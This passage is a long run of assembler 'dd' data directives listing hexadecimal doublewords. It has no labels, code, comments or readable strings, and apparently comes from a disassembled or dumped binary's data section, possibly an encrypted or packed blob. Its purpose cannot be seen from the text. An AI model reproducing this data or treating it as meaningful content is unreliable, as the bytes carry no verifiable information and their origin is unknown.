0F8777A55h dd 390D2B3h, 3FBF217h, 0EEDAF083h, 56ADD4A2h, 8592F48Fh dd 0B880BFCEh, 2CA154Ch, 6346B858h, 44D6ECC2h, 61A8CA25h dd 5B03E3CCh, 51F9C883h, 1C204AEh, 911DC4CAh, 0D557C508h dd 0B73EB01Bh, 787C1774h, 6695477Bh, 0BBCF5E3Fh, 4567D63h dd 4C3AC732h, 0C3258369h, 829F0D7Fh, 0FC0CECh, 28CCED80h dd 0F459EA25h, 597E8CCh, 0C4E9AFB4h, 83C2E817h, 0F219ECBAh dd 0FEE2FF45h, 0FEE4DB07h, 5BA3F737h, 0A2124CE2h, 77A0F98Ch dd 4074F624h, 0F6A4081h, 0AC3A2952h, 0D3A9B4B5h, 9856384h dd 0C8FB755Ah, 0C3C4E964h, 8380E65Dh, 15F4A46h, 6B1299CDh dd 0C580BA5Ch, 0D2D14086h, 0B3EB4A01h, 33FF1296h, 0DCA49F0h dd 59280D0Ah, 0B9070658h, 72640D98h, 0B3AC0574h, 0FF8BB184h dd 8880D3F2h, 0E97F202Bh, 4A06192Eh, 701C5146h, 21AC3F6Ah dd 0FB583117h, 64B10DBh, 29569118h, 0B7535002h, 0E1C7FE05h dd 90032C7Eh, 0D4D0C1C1h, 0CE7AB450h, 6B9AEC2Eh, 75BB4812h dd 0AA4E84ABh, 0A1927FA2h, 0AD827F22h, 0DE7E0959h, 5B58B230h dd 310D2738h, 65200378h, 24BB2CCDh, 5182692Dh, 165C456Ch dd 681508A0h, 386A218Bh, 0DA4750BAh, 5A4A02E4h, 8AD25CA3h dd 0B1175C79h, 0A26F0EB5h, 1BB07D7h, 0BAC41E08h, 0EE4EEDFCh dd 4A680980h, 0B835C474h, 4FC5D3DAh, 0BA56DFF2h, 977E8EC0h dd 12EAEC7Fh, 0AEC77988h, 800D9B5h, 0B18C06E9h, 16DCA40Ah dd 0BF2C4966h, 4959CA5Dh, 51C45FD9h, 57D69F54h, 755DD358h dd 3105049Bh, 80AF64A2h, 450FCE41h, 15272F75h, 7752123Ch dd 0FEC138BAh, 0F4272A5Fh, 57559C82h, 0F75DEDA2h, 0F2BFD25Ah dd 0FA017C92h, 0F6835B61h, 32F011ABh, 0A7203420h, 27E91610h dd 0BE64EF7Ch, 5CEA4EC8h, 4E4C8F5Ah, 0E90C04A4h, 35EFD09h dd 2F1459F2h, 0D8CAB07Bh, 54DE2F3Ah, 0C5227EE8h, 899588E0h dd 9AB2FFFFh, 5514825Dh, 0EDBFDC95h, 83C409E2h, 35B866C6h dd 3C2DA115h, 7529C2E7h, 4C4E4F5Ah, 0D70D55C4h, 0BE305FCAh dd 0C2E1EA7h, 0D523CB60h, 6BC9722Eh, 33C0B942h, 1B48802h dd 532E4880h, 1210BF19h, 95F173DAh, 0C1B1AAAFh, 0A0C118C0h dd 0B69C289Dh, 3918B130h, 6155CA0Ch, 896806B2h, 0B202AD51h dd 135EE61Fh, 0FB2B551h, 42C4B6E1h, 5652AB47h, 7F0C9509h dd 0E74F61E9h, 1E0E8ACh, 2FBBBF57h, 0F17A5E4Eh, 3C53305Eh dd 4F916049h, 4BBDA2F4h, 101FB6EEh, 0FA4C0901h, 594EFE20h dd 0B8E213C0h, 89E42D3Ch, 9560676Ah, 0CF9CEAE6h, 1BE2C1EEh dd 6B182Dh, 1A30CBD7h, 0D05B0134h, 0C44F24A6h, 5AE6FA5Bh dd 0F93BE90Bh, 0B951A820h, 0D6256E03h, 220F078h, 87299202h dd 6002CB01h, 83997199h, 777D0A67h, 807FF2E9h, 0BEF9EF9Dh dd 4B68396Eh, 4813EF61h, 0D84EA9Dh, 0A31137E9h, 4583101Fh dd 0C02D563Fh, 0CF2D7740h, 4E971D12h, 0CF6567EBh, 6DBE280Eh dd 7804F50h, 0A44C0FE9h, 6FB081E0h, 0C86AC308h, 0D2407E3Bh dd 5E13EC57h, 6DCB31F1h, 0FE5DC226h, 9220723Ah, 763A4FBBh dd 0BEE1414Bh, 15BD1047h, 0B1B844D4h, 197E0251h, 78403EEDh dd 0CB255992h, 0BC8FE51h, 0E05A8604h, 4889D358h, 0D55BB254h dd 0D0FFA2E2h, 0BE6EB37Ch, 578DD912h, 56EA80ADh, 0F5C2050h dd 5A3909A4h, 165FC12h, 0C791E677h, 0B5423031h, 0F772C895h dd 593214AEh, 5B05DB64h, 0EE4339DCh, 2E7B644h, 7140F700h dd 26C059EEh, 5A50B789h, 0BFB2EAE9h, 9F782674h, 315E8044h dd 0EABBFD6Ah, 244B5217h, 832B7DBAh, 3D27A4F0h, 0DA165616h dd 0EC7A8082h, 0D4FFB804h, 184EA4Eh, 684990EFh, 279113E3h dd 1AFD80AFh, 0BB85CC7h, 0C64A300Ch, 0D1EB674h, 7DEF5E00h dd 39E52540h, 0D13FF875h, 226F724h, 3AFC2A64h, 45DF8462h dd 0C195ACEBh, 6E1911E9h, 3B004F35h, 0C0E8D09Bh, 680812E0h dd 2730BA7Bh, 60864FB1h, 80FF28D1h, 0CFE1DBC2h, 58A9EAABh dd 0CA93FB30h, 4FE9081Ah, 0C1986B75h, 1F28B9DEh, 1A00E994h dd 0BA061125h, 0BC48030Ch, 0C2342DD6h, 1DBD511h, 143D188h dd 0A862F681h, 3B01CD4Fh dd 6ECC451Fh, 27683858h, 0B8987371h, 364FD827h, 0CCACBF94h dd 0C16E909h, 0D597735Ch, 982B030Fh, 0BDC08360h, 7865C739h dd 66D95BD1h, 72E6FC21h, 0A45C07B3h, 0C5FD296Ch, 586DB072h dd 6B3E2EFAh, 0BA4F11h, 5279CF81h, 409F6580h, 3B2E750h dd 0E92CA030h, 0C725755Eh, 0AE185770h, 10013E53h, 0CCEEBB78h dd 6F34B25Bh, 0E4DB4AF7h, 0FC02F312h, 0E9AC9FA5h, 0B7A57891h dd 9E22252h, 5062BF25h, 4BBCA1A7h, 0BD154ECCh, 0B8318576h dd 4B3FAEB8h, 0F38202D2h, 1857507Ch, 144FF3F1h, 0E907CF01h dd 1FE81F4Fh, 66878517h, 0DDA8045Bh, 0E99DF441h, 0FFA1694Ah dd 0B5F8E96Ah, 0DA02DCFEh, 2E684240h, 67361FB3h, 504AE553h dd 4D05DDAFh, 0E85D3F37h, 69D4CB2h, 11D71975h, 1761020Ch dd 0EE893114h, 0BC49B63h, 21967830h, 6C4BD646h, 95083251h dd 8850C3BDh, 5051C997h, 9E7C9DFDh, 0BB535F04h, 2FE9C02Dh dd 0B50AE381h, 984B0F3Eh, 4714202h, 81A3F62Ah, 0E8643DCBh dd 7129268h, 770EF801h, 98FF10E5h, 31467517h, 5C24513h dd 3F98E5A5h, 22D9EB0h, 7DB152C7h, 0C85E0CE9h, 76F84013h dd 0BB5E4B74h, 0AF17EACAh, 977FB912h, 8B8AF01h, 842F19C8h dd 7460AF34h, 5C8C3B74h, 0A706624Fh, 0A84CA10Eh, 5E011009h dd 28857D1Dh, 0EA66C521h, 0F07385C2h, 0B5AC90C7h, 9DFFCE2h dd 41403A30h, 0FE2008D0h, 60451348h, 68865B03h, 12D05480h dd 0B4130EB8h, 0FD059975h, 3994DE84h, 0F06BB207h, 0DD012581h dd 0C0AC6670h, 2DA8F2F3h, 895C53BFh, 0AB711298h, 0E8915995h dd 838013B4h, 0D90503E8h, 3E5F222Fh, 0EEB47B4h, 2A6F214Eh dd 65F449DEh, 0EE8B4B8Fh, 84CC29F7h, 8EB888D0h, 98F0DC4h dd 222B70ACh, 0D55C5938h, 5CE202B0h, 7447512Bh, 967F2FCBh dd 72BB047Eh, 831E4B6Bh, 0D1876CBh, 0B22745E9h, 58B6982Dh dd 0B025D8F7h, 2E3A3455h, 229AE95Ch, 0F0287DBDh, 0E79C5B79h dd 0D1B84091h, 1B4E0A90h, 6ECD94C0h, 0E92E0860h, 8004E1A5h dd 0AED257F3h, 73C2DA9Eh, 5B5A12CBh, 5A9AD59h, 0F661E9D0h dd 50AF6F2Dh, 0A4604D62h, 7D97CC34h, 0D4B53096h, 0E0057AB7h dd 0D565BA54h, 7D483F1Ah, 0E77669CEh, 9F92C082h, 4D669542h dd 0C7B9660Eh, 0F181816Ch, 0A843EDEh, 400727C9h, 5FE9234Ch dd 0C05CD5FAh, 6040B804h, 3F66F314h, 6639A568h, 42B9122Dh dd 0CB04FB38h, 2BCA6D22h, 68D1010Ah, 84192D9Ah, 0BFC7812Ch dd 61BD5433h, 40AAB930h, 43B6595Eh, 501E7C25h, 795F75E9h dd 1FB1EB21h, 55C5C347h, 0CA5440FBh, 4D71118Ch, 785E50F8h dd 11D30AFh, 9C9E5BD9h, 95C842D0h, 5D939255h, 9689ED65h dd 3D7A68F7h, 4BE49555h, 0B061789Dh, 4E90FA59h, 8039A3AEh dd 7E7CFB35h, 1CBA983Dh, 0AE820B27h, 0ADE90F5Dh, 0DEA54BF2h dd 0B182A2E5h, 6042CF67h, 2745357Dh, 0C340B349h, 0B7264191h dd 0C803B425h, 7E20A972h, 0ED1F1796h, 10D0EE4Fh, 60293BD8h dd 78DF2A1Ah, 0E92D3AD6h, 0AD0A803Eh, 0E41C6857h, 0D36F5C1Dh dd 72468927h, 7EA0E919h, 6605910h, 4A63593Ah, 3403C316h dd 6907BBDDh, 75092376h, 0F7815DCEh, 0F50102ADh, 759527ECh dd 0DFE90338h, 5246A5EBh, 5D9F2074h, 5EF52913h, 562D501Eh dd 8CF0E28Fh, 11ED185Dh, 2BE5BD50h, 0CA51E962h, 0F81640FDh dd 0A0795F44h, 0BB170C2Fh, 8B1BA086h, 3B65DF5Dh, 0BD2D40EAh dd 43DC6668h, 1A03DF97h, 0AF84112Ch, 59A24DEDh, 35604FD7h dd 48F2FABFh, 1BD54AB2h, 47B2C14Bh, 77AC312Ah, 7E956E43h dd 0F4B900FBh, 3567DE68h, 743F5F00h, 1BB92D33h, 0E9650B49h dd 0ECD5E11Ch, 0F28CD245h, 0DF871C51h, 0E80EFB97h, 5BBC9C31h dd 0AA981CACh, 0B03B4510h, 0AF70779h, 506B5566h, 4A98BF33h dd 46708B68h, 7ABFD6B5h, 0AC7ADE64h, 0BB05AF01h, 0FA50A154h dd 806CAE30h, 302EFCB3h, 0F600C7DDh, 80CDFED5h, 52270FF5h dd 0D249CEB2h, 9F92CC06h, 0A74EEE05h, 0E40659D1h, 619D891h dd 0DF0DF1E6h, 6E020C7Dh, 6826B74Fh, 894AD480h, 22FE0AB9h dd 81F74D50h, 0CD8731ADh, 20BF055Bh, 9A79F541h, 970D4B3Fh dd 96FB5867h, 0EF900657h, 0B8DC5420h, 572B0954h, 59727F81h dd 60A50D04h, 0C0EE31E2h, 43D0EA73h, 0E908F509h, 0C7717763h dd 40A3F6A5h, 696B68FDh, 0ADEFDEBDh, 77090BD0h, 51F2B68Eh dd 71092DD3h, 27B7CF7Fh, 3C92DEC5h, 0E93498AEh, 3B159849h dd 0BD291359h, 1B81DB34h, 5A0312E0h, 0A1E88EFAh, 5F0F3435h dd 7D4029EDh, 5D134267h, 71F01B12h, 8341C9FAh, 1881CA40h dd 0BA6800CDh, 9732E7ABh, 0F45F4AE9h, 0C05CD922h, 0A4A5041Ch dd 41B10Ah, 16AB53DDh, 109A64E9h, 27DF3159h, 5D980477h dd 68EAEAC0h, 289C9833h, 5F0705C8h, 0F77AE59h, 84468AD3h dd 0C5D9B3EEh, 2BD4F545h, 78A41A80h, 0CE6D6420h, 92A98260h dd 0DDC3E25Fh, 0CF495922h, 534F97C8h, 525BE25h, 0A2404E3Dh dd 3042B652h, 1CA49BF5h, 205319E9h, 41276146h, 204E05FBh dd 4216BD2Dh, 27A10B65h, 403EBE30h, 0D5F466A7h, 0C2B4FEB5h dd 5C014CBCh, 0AB2A5657h, 0A0203B69h, 0CE2C9586h, 3B13CC12h dd 10BB4ACEh, 8F5807E0h, 76CE7D27h, 9E9D2297h, 7EA22260h dd 0A78265F4h, 846F205Ch, 94BFC3B8h, 0BF69C082h, 4E5A8D7Ah dd 812EAD4h, 75B4D50Bh, 0AC3E41C5h, 588A226Bh, 0F4258A50h dd 0C2FCA599h, 0D780D80Bh, 0F28ABB4Eh, 89E35BDDh, 18E170E9h dd 664C8947h, 9F827D0Fh, 0CE56717Eh, 39E56841h, 54090E23h dd 0B5605DE9h, 9764C380h, 0C2FB7706h, 0FC55A059h, 84F2733Dh dd 5B17E95Ch, 94689703h, 0A0D91020h, 5E573246h, 0ADA5A6B1h dd 7CE298h, 0E1812C88h, 172F4E53h, 44E3BB8h, 3078A8B3h dd 0C595A7BAh, 0D57528CBh, 0D790ED75h, 0C6593327h, 85622F07h dd 432AB2F7h, 9D078030h, 3728BF33h, 0E45B1308h, 5F976F13h dd 7A2D3BA0h, 5D60BC05h, 0D62AD448h, 63409F6Eh, 7D0E4735h dd 0C3402D72h, 0D44475E9h, 818080EBh, 39759DF1h, 59CF12C5h dd 0D2923BC1h, 9791E87Eh, 0B49CD7EFh, 68B0AF77h, 6E381797h dd 7D4BAF5Eh, 5F56A4D2h, 0F479FFE8h, 3148C4EFh, 0C3ACEAD1h dd 538ECCA5h, 0C03823B0h, 8BAB4A0Bh, 4758283Ch, 9C5D9E84h dd 48661D10h, 91620BCBh, 0D46F0589h, 71DC0228h, 0C540954Ch dd 2880CC66h, 31042DE8h, 0D6F64394h, 0B9D46B0h, 0ADD2D3C6h dd 0E401B0F2h, 0E90CB51Bh, 4F6859DCh, 197F4BDEh, 30126F90h dd 56254DB9h, 2517A6FAh, 29BC6CFDh, 2FD01DCh, 64611340h dd 85A2857h, 23626804h, 9F0567A3h, 0A82CEB0Eh, 0D0C616EDh dd 5C8372BFh, 0D4B889F7h, 5D4072C4h, 0E9B71009h, 0E42A3A99h dd 0E33DC0C3h, 6DF31C02h, 0D10CC62Eh, 24685E57h, 8B741A5Ah dd 0C4D764D3h, 0EDC44FC0h, 0C4B97EB0h, 6E30B9CDh, 0E27F8252h dd 0EBF07F78h, 0FC9FC998h, 0FCE909F7h, 8958E4E0h, 35F66EEFh dd 137FBE03h, 9FEB21B8h, 7233694Ch, 77B03B12h, 71710EFh dd 0D79AB25Bh, 0E90E88FAh, 487AE225h, 70CB4D61h, 0F756B71Fh dd 0EE780F82h, 160D5849h, 0FE088477h, 2FB6814h, 0DADEF9BCh dd 0C167429h, 0F5651767h, 0EC885A16h, 0A52EDDA5h, 3B7A25FEh dd 1CCBE8CBh, 0A8954DEh, 3990C412h, 0CD50E388h, 0BF4F6458h dd 2E91AFEFh, 0D42F895Bh, 0F8D4089Fh, 394B993Ah, 0F47F040Ah dd 7DC045C3h, 0CFB6BBEEh, 7D83A1D2h, 280D51FCh, 81E7F101h dd 0A7715E08h, 481604A7h dd 7EA65409h, 22B9F8A0h, 1F2F528Dh, 0ED7B9855h, 391C883h dd 828E24A5h, 0E8C412FBh, 685CF0A2h, 3B575527h, 1EFAF040h dd 0C85650CBh, 0AF6E8C0h, 9325E919h, 86F3818Ch, 71BDCCB6h dd 122B388Ch, 2C0BEDD1h, 4B36E467h, 1ECAFB5Bh, 28E22CC2h dd 0B66274C0h, 0B8F17D82h, 4C83414Bh, 9968AD00h, 432268BDh dd 248DA849h, 620E9C7Fh, 48A57959h, 0ED9FB45Eh, 0A2091E0Bh dd 0B1FE8460h, 0C93C6ACh, 91F359F7h, 0EC7AA44h, 2214238Dh dd 378AF7C0h, 0A903354h, 49FE5F4Ah, 0A55C386Fh, 0FB1B552Fh dd 0A78C89E1h, 19C65D19h, 139C0940h, 373827E9h, 88CE8236h dd 86246245h, 0CDB40B12h, 0AC412CDh, 0EDDDA0BAh, 969DDA1Dh dd 55E82989h, 601E8200h, 0DB803EC3h, 38EE163Fh, 0E933C04Ah dd 0D99D4863h, 77C4CF5Eh, 0E0AD8DB0h, 1AD65AB6h, 2CAB7E84h dd 9F4171E4h, 6ED1033Fh, 6FAFEE79h, 570B1BA6h, 9037B520h dd 5D5AB738h, 0BF742922h, 809553E6h, 2D6E1048h, 4C87D959h dd 0E133E61h, 2FCC04FAh, 0AE839880h, 79C0C540h, 786817E7h dd 2741A34Dh, 0C905DFDCh, 0BEC7FAD4h, 11AEFD34h, 292EF431h dd 22DFA50Eh, 682E9B97h, 0CC05EDE7h, 7932F63Ch, 0C399A79Ah dd 0FEA57ACAh, 429793Bh, 0F07B64BEh, 2B15B25Eh, 1E84A63h dd 0E678184Fh, 0CCF20B68h, 771F1753h, 13C905C4h, 920D2028h dd 3625E575h, 28A2DF50h, 6DF64426h, 45BE1397h, 0D03CC292h dd 1E1C390Ch, 445A727Ah, 5CEF8B13h, 7CDAC18Ah, 304E0665h dd 416FC68h, 16AAA778h, 0CB6117AEh, 0E21F766Dh, 231F2ADCh dd 0C5CF20Dh, 85E99C40h, 55062F75h, 73091DDCh, 504D560Dh dd 858A76EBh, 3BA256E1h, 670B70C0h, 0EA945078h, 3F3B4F02h dd 20737C5Bh, 7797A107h, 1210AA05h, 0CE2C02C3h, 9315AFEh dd 0F525D806h, 602E133h, 54AA0004h, 504EE535h, 81773B8h dd 0F1531841h, 24599108h, 3E0909F8h, 567A74C6h, 0CCC90E27h dd 87FA81E7h, 9BE127Ah, 0DA790B30h, 5D4CF483h, 0ACBFF847h dd 78FC0F5Fh, 0D21CF731h, 0C9CDABFBh, 1FA3CF20h, 0EC1FC747h dd 0D82109A9h, 7767C7D1h, 10FB0BABh, 26CAF121h, 92F9DF6h dd 86C84A52h, 22C93D18h, 2016D809h, 0F2B7E14Fh, 0EECE0418h dd 271430h, 448373F5h, 1DCED221h, 908E56C9h, 55A5338h dd 0F3A8625Eh, 1F8E3627h, 0F4EBDAEEh, 0FEB0D450h, 678650Ch dd 166DCE42h, 0F014FD13h, 0E24ED153h, 5CCB2F90h, 11D1609h dd 0D07F0BD5h, 5951E754h, 8528882Bh, 5E70356Bh, 0BA2DE4AEh dd 2768B8A0h, 0AB593AC2h, 6C40C7C8h, 9B48DA0Eh, 0EDE68749h dd 0EE0DB56h, 7C273894h, 85580F28h, 0F3BA5E5Dh, 0BE48D8BDh dd 9264245Dh, 9A6A2FBEh, 6D8B3480h, 9B982B54h, 0AB591E09h dd 51477033h, 6288831h, 81EAC076h, 0C052C7EBh, 0FB011614h dd 210845B9h, 601528CDh, 66674D28h, 247CB12Fh, 0EC0B2516h dd 65CA075Dh, 0EB57E307h, 0E05BC95Fh, 4AF5688Eh, 56A657Fh dd 0FB611973h, 95ECE2DDh, 80B59650h, 759417E4h, 5B0EDA09h dd 160DBA68h, 9DBC8DEFh, 4B13E98Dh, 998A3E41h, 0E53EA79Bh dd 966EF52Ah, 3B08E237h, 5551004Dh, 2AA96866h, 73A142E9h dd 1E2D36FEh, 28E91344h, 84E92460h, 9A12BEF0h, 0A2B0F2EAh dd 7ADE775Ch, 657C0B79h, 0E2574F12h, 7264153Eh, 0EF984076h dd 0AE3BB841h, 27675200h, 97585F4Fh, 4EFBA7D4h, 7386A076h dd 191C44D2h, 91B80812h, 55E7889Fh, 4A45BA01h, 0DE86D72h dd 67F6B5C5h, 57D52FF3h, 5F4B0034h, 0BBE5C1ADh, 0E93A969Dh dd 0D0C98983h, 0A54EC2Ah, 43576858h, 708A9EC9h, 5031ED55h dd 0C593230h, 4FF4CAF0h, 0C971819Bh, 55EC7BE2h, 0CC5EAA97h dd 2F157122h, 0F3DE2D1Fh, 0DE8CE9E1h, 0D4F53B80h, 29FE9AD0h dd 0A45DEE39h, 0E1562F1h, 6DAD049Ah, 2CC297C3h, 0E998E85Ah dd 0A03B5565h, 1FFCBC6Fh, 0CD0C5507h, 0FF75966h, 4BE7A4EDh dd 0EC231064h, 940C165h, 92F42083h, 607BBC18h, 1BDC11CCh dd 0C5215802h, 0FF3FDDE9h, 2A52BE19h, 0D4AB54FEh, 487B4C10h dd 93703834h, 15016DFEh, 0F3141C97h, 0D2B1BF3Ch, 32346574h dd 0D08B9F18h, 88CDA3DFh, 9B1C1EEh, 5DA2413Eh, 0ED612D70h dd 0BF55810Ch, 20863502h, 0BBB0253Fh, 4B6B16C0h, 0AA844A94h dd 0F01A65C2h, 5DB4023Ah, 5866E728h, 5DE812F7h, 833A0F4h dd 0F729A05Dh, 3CF1BDD9h, 46778403h, 0DEBAFA7Eh, 0A5BD02F1h dd 8282DD62h, 2904472Eh, 2A540CD1h, 6882F23Ch, 0EDEC5E38h dd 5066EB0Bh, 6B3402B4h, 54A2FD4Dh, 8CAC44AEh, 4B9C4EFAh dd 41BFEA83h, 80ACCC17h, 46BFE4A4h, 94E4DB4Bh, 0C02C34FCh dd 0DFD9EE48h, 2497D20h, 0E911A069h, 85C456DEh, 0CC02AB13h dd 0F33EA3BCh, 0B4094C7Ah, 2C09D220h, 0A8E568C5h, 691AEE84h dd 0B2257D0Ah, 0C182D4F0h, 52F56Bh, 62394768h, 180C3005h dd 510E3500h, 712E7A04h, 0D0C1D142h, 0AFDAB426h, 254147DEh dd 6ACD7B67h, 17423760h, 0E04F7034h, 3B5D0557h, 0B2520F6Ah dd 75292995h, 680227C4h, 0EEE5DA7h, 0E8F9DD5Bh, 1CFC6840h dd 0DF395074h, 0B5D9942h, 0ABF4117Ah, 0E99D29D1h, 0FF7288ACh dd 1241D527h, 5A847E73h, 8297EDBAh, 5A9CC5E9h, 0B4F2BFCBh dd 4D48A9F6h, 348284A2h, 0C581411Eh, 3E710785h, 294F73FCh dd 85C3F151h, 0E42DE967h, 3814B74Eh, 0A42122A7h, 0B0BA008Eh dd 0BB708647h, 65B8A5BFh, 0C0EE294Eh, 0EE01CCD4h, 0DE0909ECh dd 0FA7DE5E9h, 590C2046h, 314189A0h, 5FAE862Fh, 2AE9BBA1h dd 0B52C813Eh, 0AAF580B1h, 95A411E8h, 70C145C8h, 845FDC17h dd 5FFB7B5Fh, 63BB9F00h, 9510EE7Eh, 29B98360h, 0AF89497h dd 26606851h, 0D3E961C6h, 12DC321Fh, 1CF3357Eh, 2BB4F498h dd 2A7CB537h, 83044674h, 7B8AAE8h, 4CD10BB4h, 979314DDh dd 1D209266h, 0CA5EC470h, 0B23BC733h, 43CA48C3h, 690D7E7Dh dd 4554910Bh, 0FBE57F25h, 8A445169h, 9C1C80Fh, 0CA5B7879h dd 71EBE589h, 0EB5A96AFh, 5EF21161h, 42B0CC3Ch, 559FF07Fh dd 9436B86h, 0FA2001A1h, 0FF8705Dh, 5CDB4DFAh, 4643CF80h dd 72BD6ADCh, 77182022h, 0B551500Eh, 3BB08148h, 0FEC80824h dd 5E80CC0h, 40A4B434h, 0D5F67BE1h, 67A7E982h, 59F5F9A9h dd 1875A21Dh, 0F54D5E68h, 50818564h, 40663D60h, 0FE2F294Fh dd 0CFD94087h, 678176Ah, 91000748h, 220296ADh, 4FA65F58h dd 95CD06F0h, 0C4810809h, 0FD0176C2h, 62B53E36h, 44EA0804h dd 0B85BDC3Bh, 69ECC57Fh, 0BAD2AEF9h, 0B980DD84h, 0F3A665F8h dd 214B123Bh, 0C203C96Ah, 842CD95Dh, 0E1A4EC80h, 889D7BD5h dd 9D6AF02Fh, 31544700h, 0ABB867BAh, 866095CEh, 6880F1F7h dd 0E30E4A9Dh, 0BBF3FEBh, 7654E147h, 0B5983DA6h, 741D0C66h dd 17567B5Ch, 0D9A43729h, 0E5283A0Ah, 5AFDC5BAh, 51280ED4h dd 402F9DC5h, 122B1EC1h, 32905F7Bh, 0E053EA01h, 76A4E93Bh dd 0A844247Fh, 0A0681394h, 7E12D0F9h, 0C01AE956h, 7F0D45B9h dd 40ABB620h, 33928D2h, 5BDF090Eh, 85B0D6E9h, 3456955Fh dd 25311FD0h, 16D105A6h, 53292A03h, 0E9F0983Ah, 0D0994FB6h dd 0FB424AF6h, 0EE050576h, 64D63213h, 5280AED1h, 0D009662h dd 0BF779D24h, 34161AD0h, 64BE312Bh, 50B4BA84h, 0D41613F0h dd 44E50122h, 3014A853h, 2981EBDFh, 0E3A1806Bh, 4C5AD122h dd 7FD4B2D1h, 97187F76h, 8D0430FEh, 209706FEh, 71DAC1A8h dd 0F8D1F22Ch, 96779041h dd 5FCA28D7h, 6B05F9EDh, 11AEFD0Ch, 205F575Dh, 0C42FDA90h dd 0C1461D0Bh, 0C65D83E6h, 0FA6E986Ah, 2A859089h, 9DD0D9E9h dd 4168C82h, 883BC0F7h, 52199FA9h, 0C06274E2h, 0CE12FEDEh dd 0C3802C83h, 0AFF799FAh, 0FE2E4868h, 542C110Fh, 1501B64Ah dd 0C01AC680h, 0EECC04E6h, 7CF6F203h, 35699033h, 0B8BB21E9h dd 0F5EB1755h, 7EE299AFh, 742E60E0h, 1CC5F85Eh, 5AE96091h dd 0E55D2A31h, 834261Fh, 7C2758EFh, 5B6C08FCh, 0BA09D920h dd 6763179h, 71729EFh, 22F745F5h, 6C8FB7BCh, 0A100C383h dd 525A0629h, 16906856h, 0AB66BC4Ch, 0EA04AA8Bh, 0BE3FE31Bh dd 9B680A58h, 1F42901Ch, 0AE700C36h, 0F8491759h, 0BD55E135h dd 0FDEBF009h, 2668540Eh, 828DA01h, 0D2229208h, 40478F13h dd 0D12D8E0Bh, 0E2538CCBh, 5F25F9FDh, 20E55F87h, 13765E08h dd 88550330h, 0C1B55BFCh, 14CF5E3h, 126E3C29h, 2552EB5Fh dd 0FDE65A09h, 0C33A7304h, 0AF878F1Ch, 0E2205921h, 3EAE858h dd 5AD02807h, 0F8501F04h, 9796B353h, 0F31C6672h, 78A7E930h dd 0F673954Ah, 9EF1456Bh, 0B529E73Ah, 599E96F5h, 47B97DCh dd 0D8291FCDh, 0FC03BF25h, 0E053B037h, 1647C4E9h, 5836034h dd 81D1F7CEh, 6F9768B4h, 4BBA6052h, 5E565BCDh, 4A2CB163h dd 4ABFC22h, 6DE52BBEh, 0D4AEC384h, 360282DCh, 0C9424B09h dd 393E5A62h, 0E9A40160h, 839774CAh, 0BF0EA74h, 6FA3745Ah dd 5241EF2Dh, 0F47C6040h, 0EA1FC8B7h, 601625Dh, 595ED321h dd 0EAA6DAC2h, 5E615FC1h, 539B205Bh, 55713718h, 0E46B010Ch dd 41F3E91Ah, 0CA008C2h, 0E8584B14h, 0A1A5D356h, 6DD9F5E6h dd 9204D565h, 3E5C86Ah, 40040FC0h, 431D1849h, 0F18E3E13h dd 0FC10EB27h, 80BA00ACh, 0D9F7E38Bh, 5AC22ADFh, 0D79F32D1h dd 0E961A4F9h, 1B751C5Ah, 565FBDBh, 2012B66Eh, 51CBFBF5h dd 5D1BE04Eh, 24C14840h, 167205E5h, 49669025h, 21604B23h dd 6C6B2F90h, 0D0017624h, 1C68081Ch, 6CFD2514h, 9CF3BD0Fh dd 0F5B125E2h, 826E0DD1h, 40D8281Ch, 30E912A8h, 0B6B51B89h dd 0E626809Eh, 10E9F5Ah, 9B0373FEh, 0D9F58821h, 2922FD28h dd 37E580C3h, 0D82ACD99h, 0C04D57F5h, 31C21BEBh, 7DDEB25Bh dd 59861F22h, 5CC731F7h, 6E38100h, 0B4CF3326h, 0B9342E0Ah dd 7A3ADEA7h, 68C14055h, 98475BEDh, 99539B5h, 80FFB2Dh dd 4517E581h, 3D3FEEB8h, 6529D09Fh, 2CB89D6h, 5D286A08h dd 8401CB3h, 521DBC99h, 0D8B9EA88h, 74AB101Dh, 0F65AFA62h dd 0F5D5E3DFh, 52DE80FBh, 0D0BD6CB2h, 6BEAE6F1h, 0C4000606h dd 0B068F1C2h, 0B19898B7h, 18CE9C01h, 282C22F7h, 756FE24Ch dd 3509199Eh, 2D88EB4Dh, 6A106832h, 581637Dh, 5EA3926Eh dd 85DCE5F7h, 0D05FB9E9h, 0C44EEEE6h, 3558490Ch, 2CE90DEAh dd 4A5C2E46h, 25D426A8h, 4A824B74h, 5D9E57ABh, 2DC72D82h dd 564ADCC6h, 7BA901F8h, 48859EBDh, 9931BA40h, 52039D23h dd 7A6D70F0h, 425A0216h, 1D56A708h, 0FAB98B59h, 5462265Eh dd 2033FA32h, 292C6D03h, 0ED105BC2h, 6C7800Eh, 0C2CCE765h dd 660C016Eh, 5781714h, 6301EA6Ch, 0DC6228Dh, 0F495B730h dd 0BF614BC3h, 70BEBDC2h, 5B64BE0Ah, 1EFF19FAh, 99681253h dd 12B5B30Fh, 0D3B45AD8h, 276F627Dh, 6C5F2E33h, 40803DFBh dd 0C1485905h, 0F85C2E0h, 369D75D8h, 41C698E4h, 2BA47AE4h dd 0EBEBE008h, 4159AACBh, 0AC604731h, 7DC4FEBCh, 0D6E43CE1h dd 0E80AF496h, 0E8381306h, 74DA2CE9h, 0B0F01F7h, 56302BD6h dd 0C20DD6A3h, 0BA5550EFh, 0EF765DC7h, 0C2D83143h, 957C967h dd 0BD48D041h, 0FBF08801h, 6A900FCEh, 4CAD80BEh, 0BE8ED230h dd 0C2106DA7h, 0DD2809FBh, 5446875Bh, 0DF3DCFB2h, 6A83BDBAh dd 0C5953FBCh, 0EF6A0A72h, 54DE2D08h, 184868EFh, 134B4259h dd 0D56D442Dh, 729E490h, 0CBAEB060h, 0F330F125h, 1EBC42Eh dd 215F5A08h, 26C5E4C8h, 5E0C896h, 4CBBC7A5h, 0A95A4A8Fh dd 0C529036Eh, 12A185E9h, 0EF6855BEh, 2CBA0953h, 0E7D4447Ch dd 74A9246Eh, 0B151B203h, 499AF2FDh, 54E558F5h, 0E958686Bh dd 4B64B84Ch, 5FD48BFBh, 58D4DEA8h, 5F2A2B30h, 0ECBDD301h dd 52631D3Eh, 8BDFAD26h, 5A1E0969h, 0FC2FEDC2h, 8F737B2Fh dd 0ACA0079Ah, 0C497CCC8h, 8E681597h, 0B9023C0Dh, 3E4844CAh dd 0E6F6487Fh, 706F304Eh, 0D8F5D40Ch, 0CB0A9D98h, 0F342BBE9h dd 7B2C4440h, 0AEFC9F2Bh, 0D3BF57C0h, 39CE0B62h, 75A21FE9h dd 0EA82F201h, 27621772h, 8237D457h, 43A536FCh, 